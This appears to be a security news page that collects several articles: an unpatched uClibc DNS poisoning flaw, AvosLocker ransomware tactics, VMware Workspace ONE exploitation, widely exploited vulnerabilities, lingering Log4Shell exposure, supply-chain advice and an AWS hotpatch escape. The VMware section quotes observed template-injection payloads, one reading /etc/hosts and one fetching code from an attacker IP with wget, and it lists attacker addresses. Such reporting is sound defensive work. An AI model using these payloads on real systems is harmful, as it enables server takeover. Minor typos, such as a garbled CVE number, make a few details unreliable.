Unpatched DNS Bug Puts Millions of Routers, IoT Devices at Risk

 

Description

An unpatched Domain Name System (DNS) bug in a popular standard C library can allow attackers to mount DNS poisoning attacks against millions of IoT devices and routers to potentially take control of them, researchers have found.

Researchers at Nozomi Networks Labs discovered the flaw affecting the implementation of DNS in all versions of uClibc and uClibc-ng, popular C standard libraries found in numerous IoT products, they revealed in a blog post this week.

“The flaw is caused by the predictability of transaction IDs included in the DNS requests generated by the library, which may allow attackers to perform DNS poisoning attacks against the target device,” Nozomi’s Giannis Tsaraias and Andrea Palanca wrote in the post.

In a DNS poisoning attack– also known as DNS spoofing and DNS cache poisoning–an attacker deceives a DNS client into accepting a forged response. This forces a program to perform network communications with an arbitrarily defined endpoint instead of the legitimate one.

Numerous Affected Devices

The scope of the flaw is vast, as major vendors such as Linksys, Netgear and Axis, as well as Linux distributions such as Embedded Gentoo, use uClibe in their devices. Meanwhile, uClibc-ng is a fork specifically designed for OpenWRT, a common OS for routers deployed throughout various critical infrastructure sectors, researchers said. Specific devices impacted by the bug were not disclosed as part of this research.

Moreover, if an attacker mounts a successful DNS poisoning attack on an affected device, they also can perform a subsequent man-in-the-middle attack, researchers said. This is because by poisoning DNS records, they can re-route network communications to a server under their control, researchers said.

“The attacker could then steal and/or manipulate information transmitted by users, and perform other attacks against those devices to completely compromise them,” researchers wrote. “The main issue here is how DNS poisoning attacks can force an authenticated response.”

Researchers are currently working with the maintainer of the uClibe library to develop a fix for the vulnerability, which leaves devices vulnerable, they said. Because of this, Nozomi researchers have declined to disclose specific details of the device on which they were able to reproduce the flaw to keep attackers at bay, they said.

DNS as a Target

News of the DNS vulnerability brings reminders of last year’s Log4Shell flaw, which sent ripples of concern within the cybersecurity community when it was discovered in December because of its scope. The flaw affects the ubiquitous open-source Apache Log4j framework—found in countless Java apps used across the internet. In fact, a recent report found that the flaw continues to put millions of Java apps at risk, though a patch exists for the flaw.

Though it affects a different set of targets, the DNS flaw also has a broad scope not only because of the devices it potentially affects, but also because of the inherent importance of DNS to any device connecting over IP, researchers said.

DNS is a hierarchical database that serves the integral purpose of translating a domain name into its related IP address. To distinguish the responses of different DNS requests aside from the usual 5-tuple–source IP, source port, destination IP, destination port, protocol–and the query, each DNS request includes a parameter called “transaction ID.”

The transaction ID is a unique number per request that is generated by the client and added in each request sent. It must be included in a DNS response to be accepted by the client as the valid one for request, researchers noted.

“Because of its relevance, DNS can be a valuable target for attackers,” they observed.

The Vulnerability and Exploitation

Researchers discovered the flaw while reviewing the trace of DNS requests performed by an IoT device, they said. They noticed something abnormal in the pattern of DNS requests from the output of Wireshark. The transaction ID of the request was at first incremental, then reset to the value 0x2, then was incremental again.

“While debugging the related executable, trying to understand the root cause, we eventually noticed that the code responsible for performing the DNS requests was not part of the instructions of the executable itself, but was part of the C standard library in use, namely uClibc 0.9.33.2,” they explained.

Researchers performed a source code review and found that the uClibc library implements DNS requests by calling the internal “__dns_lookup” function, which is located in the source file “/libc/inet/resolv.c.”

Eventually they found fault with some of the lines of code in the library—specifically line #1240, #1260, #1309, #1321 and #1335, to which they could attribute the anomaly in the DNS request pattern, which makes the transaction ID predictable, researchers said.

This predictability creates a scenario in which an an attacker would need to craft a DNS response that contains the correct source port, as well as win the race against the legitimate DNS response incoming from the DNS server to exploit the flaw, researchers said.

“It is likely that the issue can easily be exploited in a reliable way if the operating system is configured to use a fixed or predictable source port,” they explained.

To exploit the flaw also depends on how an OS applies randomization of source port, which means an attacker would have to bruteforce the 16-bit source port value by sending multiple DNS responses, while simultaneously beating the legitimate DNS response, researchers added.

Mitigation

Researchers explained, because the bug remains patched on millions of IoT devices, it is not disclosing the specific devices vulnerable to attack. In the interim, Nozomi Networks recommends that network administrators increase their network visibility and security in both IT and Operational Technology environments.

“This vulnerability remains unpatched, however we are working with the maintainer of the library and the broader community in support of finding a solution,” they wrote.

Read More

AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection

 

Description

Cybersecurity researchers have disclosed a new variant of the AvosLocker ransomware that disables antivirus solutions to evade detection after breaching target networks by taking advantage of unpatched security flaws.

“This is the first sample we observed from the U.S. with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys),” Trend Micro researchers, Christoper Ordonez and Alvin Nieto, said in a Monday analysis.

“In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability (Log4shell) using Nmap NSE script.”

AvosLocker, one of the newer ransomware families to fill the vacuum left by REvil, has been linked to a number of attacks that targeted critical infrastructure in the U.S., including financial services and government facilities.

A ransomware-as-a-service (RaaS) affiliate-based group first spotted in July 2021, AvosLocker goes beyond double extortion by auctioning data stolen from victims should the targeted entities refuse to pay the ransom.

Other targeted victims claimed by the ransomware cartel are said to be located in Syria, Saudi Arabia, Germany, Spain, Belgium, Turkey, the U.A.E., the U.K., Canada, China, and Taiwan, according to an advisory released by the U.S. Federal Bureau of Investigation (FBI) in March 2022.

Telemetry data gathered by Trend Micro shows that the food and beverage sector was the most hit industry between July 1, 2021 and February 28, 2022, followed by technology, finance, telecom, and media verticals.

The entry point for the attack is believed to have been facilitated by leveraging an exploit for a remote code execution flaw in Zoho’s ManageEngine ADSelfService Plus software (CVE-2021-40539) to run an HTML application (HTA) hosted on a remote server.

“The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the [command-and-control] server to execute arbitrary commands,” the researchers explained.

This includes retrieving an ASPX web shell from the server as well as an installer for the AnyDesk remote desktop software, the latter of which is used to deploy additional tools to scan the local network, terminate security software, and drop the ransomware payload.

Some of the components copied to the infected endpoint are a Nmap script to scan the network for the Log4Shell remote code execution flaw (CVE-2021-44228) and a mass deployment tool called PDQ to deliver a malicious batch script to multiple endpoints.

The batch script, for its part, is equipped with a wide range of capabilities that allows it to disable Windows Update, Windows Defender, and Windows Error Recovery, in addition to preventing safe boot execution of security products, creating a new admin account, and launching the ransomware binary.

Also used is aswArPot.sys, a legitimate Avast anti-rootkit driver, to kill processes associated with different security solutions by weaponizing a now-fixed vulnerability in the driver the Czech company resolved in June 2021.

“The decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege),” the researchers pointed out. “This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.”

Read More

Widespread Exploitation of VMware Workspace ONE Access CVE-2022-22954

 

Description

On April 6, 2022, VMware published VMSA-2022-0011, which detailed multiple security vulnerabilities. The most severe of these is CVE-2022-22954, a critical remote code execution vulnerability affecting VMware’s Workspace ONE Access and Identity Manager solutions. The vulnerability arises from a server-side template injection flaw and has a CVSSv3 base score of 9.8. Successful exploitation allows an unauthenticated attacker with network access to the web interface to execute an arbitrary shell command as the VMware user.

Rapid7’s vulnerability research team has a full analysis of CVE-2022-22954 in AttackerKB, including chaining the vulnerability with CVE-2022-22960 to escalate to root.

Affected products:

• VMware Workspace ONE Access (Access) 20.10.0.0 - 20.10.0.1, 21.08.0.0 - 21.08.0.1
• VMware Identity Manager (vIDM) 3.3.3 - 3.3.6

VMware updated their advisory to note active exploitation in the wild on April 12, 2022; a day later, security news outlet Bleeping Computer indicated that several public proof-of-concept exploits were being used in the wild to drop coin miners on vulnerable systems. More recently, security firm Morphisec published analysis of attacks that exploited CVE-2022-22954 to deploy reverse HTTPS backdoors. Public proof-of-concept exploit code is available and fits in a tweet (credit to researchers wvu and Udhaya Prakash).

Rapid7’s Project Heisenberg detected scanning/exploitation activity on 2022-04-13 and again on 2022-04-22. A total of 14 requests were observed across ports 80, 98, 443, 4443.

Scanning/exploitation strings observed:

• /catalog-portal/ui/oauth/verify
• /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}
• /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget -U "Hello 1.0" -qO - http://106[.]246[.]224[.]219/one")}

Attacker IP addresses:
103[.]42[.]196[.]67
5[.]157[.]38[.]50
54[.]38[.]103[.]1 (NOTE: according to this French government website, this IP address is benign)
94[.]74[.]123[.]228
96[.]243[.]27[.]61
107[.]174[.]218[.]172
170[.]210[.]45[.]163
173[.]212[.]229[.]216

These nodes appear to be members of generic botnets. Rapid7’s Heisenberg network has observed many of them involved in the same campaigns as noted in the above graphic, as well as Log4Shell exploitation attempts.

Mitigation guidance

VMware customers should patch their Workspace ONE Access and Identity Manager installations immediately, without waiting for a regular patch cycle to occur. VMware has instructions here on patching and applying workarounds. VMware has an FAQ available on this advisory here.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-22954 with an authenticated vulnerability check for Unix-like systems. (Note that VMware Workspace ONE Access is only able to be deployed on Linux from 20.x onward.)

InsightIDR customers have a new detection rule added to their library to identify attacks related to this vulnerability. We recommend that you review your settings for this detection rule and confirm it is turned on and set to an appropriate rule action and priority for your organization:

• Suspicious Process - VMware Workspace ONE Access Launches Process

For our MDR service customers, Rapid7 detection logic is continuously reviewed to ensure detections are based on any observed attacker behavior seen by our Incident Response (IR), Managed Detection and Response (MDR), and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors and will make updates as necessary. The MDR team will notify you if suspicious activity is detected in your environment.

NEVER MISS A BLOG

Read More

U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities

 

Description

Log4Shell, ProxyShell, ProxyLogon, ZeroLogon, and flaws in Zoho ManageEngine AD SelfService Plus, Atlassian Confluence, and VMware vSphere Client emerged as some of the top exploited security vulnerabilities in 2021.

That’s according to a "Top Routinely Exploited Vulnerabilities" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.

Other frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server (CVE-2020-0688), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure (CVE-2019-11510), and a path traversal defect in Fortinet FortiOS and FortiProxy (CVE-2018-13379).

Nine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.

“Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,” the agencies said in a joint advisory.

“For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors.”

To mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.

Read More

Millions of Java Apps Remain Vulnerable to Log4Shell

 

Description

Four months after the discovery of the zero-day Log4Shell critical flaw, millions of Java applications still remain vulnerable to compromise, researchers have found.

Rezilion expected that due to the “massive amount of media coverage” the bug unsurprisingly received, the majority of applications would already be patched, Head of Vulnerability Research Yotam Perkal wrote in a report published Tuesday. However, their analysis found a very different story, he said.

“We learned that the landscape is far from ideal and many applications vulnerable to Log4Shell still exist in the wild,” Perkal wrote in the report.

Supporting Evidence

Researchers did a search on the Shodan search engine to see how many apps vulnerable to Log4Shell are exposed to the internet. They identified 90,000 potential vulnerable internet-facing applications, which they believe “is just the tip of the iceberg in terms of the actual vulnerable attack surface,” Perkal wrote.

Researchers divided the apps into three categories; the first two are containers that in their latest version, still contain obsolete versions of Log4j; and containers that while their latest version is up-to-date yet still show evidence of using previous versions.

The third category are publicly facing servers of the world’s favorite internet game Minecraft, which highlight the risks with outdated proprietary software, researchers noted… Indeed, it Minecraft sites where the vulnerability first turned up and apparently still persists.

Researchers cited other sources for further proof that the Log4Shell attack surface remains vast. One was the Google service Open Source Insights, which scans millions of open-source packages. The service found that out of a total of 17,840 packages affected by the flaw, only 7,140 were patched, making nearly 60 percent still vulnerable.

Moreover many applications are still using Log4J version 1.x and likely aren’t patched because the original Log4Shell vulnerability, tracked as CVE-201-44228, doesn’t apply to this version, researchers noted.

However, this is a misconception as that version has been “in an end-of-life state since August 2015 (which means it does not get any security updates), and contains plenty of other vulnerabilities, including RCE vulnerabilities, Perkal noted.

“This should definitely worry organizations that are still using it,” he wrote.

Under Active Exploitation

Perhaps most worrying about the vulnerable attack surface is that Log4Shell remains a hot target for threat actors, researchers noted. Indeed, attackers immediately set upon the bug once it was discovered—already under active exploitation—and haven’t let up much since.

While Apache released a patch for Log4Shell within a day of discovery, it, too, had issues that could lead to DoS attacks—and apparently still hasn’t been applied in many cases.

Initial attempts to exploit the bug in the wild were aimed at ransomware deployment and coin miners; however, as time when on APT groups joined the fray and began pummeling the flaw in earnest, researchers said.

Most recently, active exploitation of Log4Shell has been linked to the Chinese APT 41 group and Deep Panda, Perkal said. Before that, the Chinese state-sponsored espionage group HAFNIUM and Iranian-backed groups APT35 (aka Newscaster) and Tunnel Vision also targeted the flaw.

Currently there are still dozens of recorded daily exploitation attempts of Log4Shell, according to a honeypot set up by the SANS Internet Storm Center, researchers noted.

Read More

How to Strategically Scale Vendor Management and Supply Chain Security

 

Description

This post is co-authored by Collin Huber

Recent security events — particularly the threat actor activity from the Lapsu$ group, Spring4Shell, and various new supply-chain attacks — have the security community on high alert. Security professionals and network defenders around the world are wondering what we can do to make the organizations we serve less likely to be featured in an article as the most recently compromised company.

In this post, we’ll articulate some simple changes we can all make in the near future to provide more impactful security guidance and controls to decrease risk in our environments.

Maintain good cyber hygiene

Here are some basic steps that organizations can take to ensure their security posture is in good health and risks are at a manageable level.

1. Review privileged user activity for anomalies

Take this opportunity to review logs of privileged user activity. Additionally, review instances of changed passwords, as well as any other unexpected activity. Interview the end user to help determine the authenticity of the change. Take into consideration the types of endpoints used across your network, as well as expected actions or any changes to privileges (e.g. privilege escalation).

2. Enforce use of multifactor authentication

Has multifactor authentication (MFA) deployment stalled at your firm? This is an excellent opportunity to revisit deployment of these initiatives. Use of MFA reduces the potential for compromise in a significant number of instances. There are several options for deployment of MFA. Hardware-based MFA methods, such as FIDO tokens, are typically the strongest, and numerous options offer user-friendly ways to use MFA — for example, from a smartphone. Ensure that employees and third parties are trained not to accept unexpected prompts to approve a connection.

3. Understand vendor risks

Does your acquisition process consider the security posture of the vendor in question? Based on the use case for the vendor and the business need, consider the security controls you require to maintain the integrity of your environment. Additionally, review available security reports to identify security controls to investigate further. If a security incident has occurred, consider the mitigating controls that were missing for that vendor. Depending on the response of that vendor and their ability to implement those security controls, determine if this should influence purchase decisions or contract renewal.

4. Review monitoring and alerts

Review system logs for other critical systems, including those with high volumes of data. Consider reviewing systems that may not store, process, or transmit sensitive data but could have considerable vulnerabilities. Depending on the characteristics of these systems and their mitigating controls, it may be appropriate to prioritize patching, implement additional mitigating controls, and even consider additional alerting.

Always make sure to act as soon as you can. It’s better to enact incident response (IR) plans and de-escalate than not to.

Build a more secure supply chain

Risks are inherent in the software supply chain, but there are some strategies that can help you ensure your vendors are as secure as possible. Here are three key concepts to consider implementing.

1. Enumerate edge connection points between internal and vendor environments

Every organization has ingress and egress points with various external applications and service providers. When new services or vendors are procured, access control lists (ACLs) are updated to accommodate the new data streams — which presents an opportunity to record simple commands for shutting those streams down in the event of a vendor compromise.

Early stages of an incident are often daunting, frustrating, and confusing for all parties involved. Empowering information security (IS) and information technology (IT) teams to have these commands ahead of time decreases the guesswork that needs to be done to create them when an event occurs. This frees up resources to perform other critical elements of your IR plan as appropriate.

One of the most critical elements of incident response is containment. Many vendors will immediately disable external connections when an attack is discovered, but relying on an external party to act in the best interest of your organization is a challenging position for any security professional. If your organization has a list of external connections open to the impacted vendor, creating templates or files to easily cut and paste commands to cut off the connection is an easy step in the planning phase of incident response. These commands can be approved for dispatch by senior leadership and immediately put in place to ensure whatever nefarious behavior occurring on the vendor’s network cannot pass into your environment.

An additional benefit of enumerating and memorializing these commands enables teams to practice them or review them during annual updates of the IRP or tabletop exercises. If your organization does not have this information prepared right now, you have a great opportunity to collaborate with your IS and IT teams to improve your preparedness for a vendor compromise.

Vendor compromises can result in service outages which may have an operational impact on your organization. When your organization is considering ways to mitigate potential risks associated with outages and other supply chain issues, review your business continuity plan to ensure it has the appropriate coverage and provides right-sized guidance for resiliency. It may not make business sense to have alternatives for every system or process, so memorialize accepted risks in a Plan of Action and Milestones (POAM) and/or your Risk Register to record your rationale and demonstrate due diligence.

2. Maintain a vendor inventory with key POCs and SLAs

Having a centralized repository of vendors with key points of contact (POCs) for the account and service-level agreements (SLAs) relevant to the business relationship is an invaluable asset in the event of a breach or attack. The repository enables rapid communication with the appropriate parties at the vendor to open and maintain a clear line of communication, so you can share updates and get critical questions answered in a timely fashion. Having SLAs related to system downtime and system support is also instrumental to ensure the vendor is furnishing the agreed-upon services as promised.

3. Prepare templates to communicate to customers and other appropriate parties

Finally, set up templates for communications about what your team is doing to protect the environment and answer any high-level questions in the event of a security incident. For these documents, it is best to work with legal departments and senior leadership to ensure the amount of information provided and the manner in which it is disclosed is appropriate.

• Internal communication:Have a formatted memo to easily address some key elements of what is occurring to keep staff apprised of the situation. You may want to include remarks indicating an investigation is underway, your internal environment is being monitored, relevant impacts staff may see, who to contact if external parties have questions, and reiterate how to report unusual device behavior to your HelpDesk or security team.
• External communication: Communication for the press regarding the investigation or severity of the breach as appropriate.
• Regulatory notices:Work with legal teams to templatize regulatory notifications to ensure the right data is easily provided by technical teams to be shared in an easy-to-update format.

Complex software supply chains introduce a wide range of vulnerabilities into our environments – but with these strategic steps in place, you can limit the impacts of security incidents and keep risk to a minimum in your third-party vendor relationships.

Additional reading:

• 4 Fallacies That Keep SMBs Vulnerable to Ransomware, Pt. 1
• The VM Lifecycle: How We Got Here, and Where We’re Going
• An Inside Look at CISA’s Supply Chain Task Force
• Log4Shell 2 Months Later: Security Strategies for the Internet’s New Normal

NEVER MISS A BLOG

Read More

Amazon's Hotpatch for Log4j Flaw Found Vulnerable to Privilege Escalation Bug

 

Description

The “hotpatch” released by Amazon Web Services (AWS) in response to the Log4Shell vulnerabilities could be leveraged for container escape and privilege escalation, allowing an attacker to seize control of the underlying host.

“Aside from containers, unprivileged processes can also exploit the patch to escalate privileges and gain root code execution,” Palo Alto Networks Unit 42 researcher Yuval Avrahami said in a report published this week.

The issues — CVE-2021-3100, CVE-2021-3101, CVE-2022-0070, and CVE-2022-0071 (CVSS scores: 8.8) — affect the hotfix solutions shipped by AWS, and stem from the fact that they are designed to search for Java processes and patch them against the Log4j flaw on the fly but without ensuring that the new Java processes are run within the restrictions imposed on the container.

“Any process running a binary named ‘java’ – inside or outside of a container – is considered a candidate for the hot patch,” Avrahami elaborated. “A malicious container therefore could have included a malicious binary named ‘java’ to trick the installed hot patch solution into invoking it with elevated privileges.”

In the subsequent step, the elevated privileges could be weaponized by the malicious ‘java’ process to escape the container and gain full control over the compromised server.

A rogue unprivileged process, in a similar manner, could have created and executed a malicious binary named “java” to trick the hotpatch service into running it with elevated privileges.

Users are recommended to upgrade to the fixed hotpatch version as soon as possible to prevent potential exploitation, but only after prioritizing patching against the actively exploited Log4Shell flaws.

“Containers are often used as a security boundary between applications running on the same machine,” Avrahami said. “A container escape allows an attacker to extend a campaign beyond a single application and compromise neighboring services.”

Read More